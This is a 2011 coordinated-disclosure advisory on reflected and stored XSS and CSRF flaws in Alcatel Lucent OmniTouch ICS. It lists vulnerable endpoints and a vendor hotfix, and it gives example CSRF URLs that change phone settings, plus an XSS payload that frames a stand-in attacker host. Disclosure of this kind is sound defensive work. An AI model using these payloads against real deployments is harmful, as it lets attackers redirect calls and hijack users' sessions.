TC-SA-2011-01: Multiple vulnerabilities in OmniTouch Instant Communication
Suite
Published: 2011/10/24
Advisory-Version: 1.0
References:
Affected products:
Alcatel Lucent OmniTouch 8400 Instant Communications
Suite (ICS) Version 6.1 Patch 102a
(older releases have not been tested)
Summary:
Alcatel Lucent's ICS offers Unified Communication services
over several access ways, like handhelds and web-clients.
The web-client WebICS offers end users services like access
to personal and global address books, initiate calls, call
redirects etc.
Several common flaws could be found in WebICS like reflected
and stored XSS as well as CSRF. In Webadmin reflected XSS
could be found.
Possible Effects:
One could use a stored XSS in the phonebook and change the
end users phone configuration like DND or call redirect.
Vulnerable Scripts WebICS:
CSRF
- /websoftphone/servlet/DispPhoneSet
- /websoftphone/servlet/DispRTC
- /websoftphone/servlet/DispPhoneSet
stored XSS:
- all Input-Fields of the phonebook
reflected XSS:
- /websoftphone/jsp/CBCallBackCont.jsp, parameter list
- /websoftphone/jsp/PhoneBookCont.jsp, parameter udatab
- /websoftphone/jsp/CustoData.jsp, parameter openwin
- /websoftphone/jsp/RTCNavigator.jsp, parameter sessionid
- /websoftphone/servlet/DispLogon, parameter next
- /websoftphone/servlet/DispLogon, parameter main
Vulnerable Scripts WebAdmin:
reflected XSS:
- /ClientMgmt/ClientMgmt, parameter action
Examples CSRF:
- Lock a phone
https://webics.yourdomain.local/websoftphone/servlet/ \
DispPhoneSet?method=setLock
- Dial
https://webics.yourdomain.local/websoftphone/servlet/ \
DispRTC?method=makeCall&number=XXXX
- Set DND
https://webics.yourdomain.local/websoftphone/servlet/ \
DispPhoneSet?method=setDoNotDisturb
- Set call forward
https://webics.yourdomain.local/websoftphone/servlet/ \
DispPhoneSet?method=setForward&type=immediate& \
FwdTarget=onSomeone&number=xxxx
https://webics.yourdomain.local/websoftphone/jsp/ \
CBCallBackCont.jsp?list=%22%3E%3CFRAME%20SRC=%22 \
http://www.boeserangreifer.de%22%3E%3C&rand=0
Possible solutions:
- install the vendor supplied hotfix
Disclosure Timeline:
2011/02/17 vendor contacted via [email protected]
2011/02/18 initial vendor response
2011/06/27 vendor sent an internal advisory to business partners for
some reflected XSS issues
2011/07/20 vendor sent an updated internal advisory to business
partners included a hotfix for some reflected XSS issues
2011/09/06 vendor sent an updated internal advisory to business
partners
2011/09/26 vendor sent an updated internal advisory to business
partners addressing all issues
2011/10/24 coordinated public disclosure
Credits:
Tobias Glemser ([email protected])
Tele-Consulting security networking training GmbH, Germany
www.tele-consulting.com
Disclaimer:
All information is provided without warranty. The intent is to
provide information to secure infrastructure and/or systems, not
to be able to attack or damage. Therefore Tele-Consulting shall
not be liable for any direct or indirect damages that might be
caused by using this information.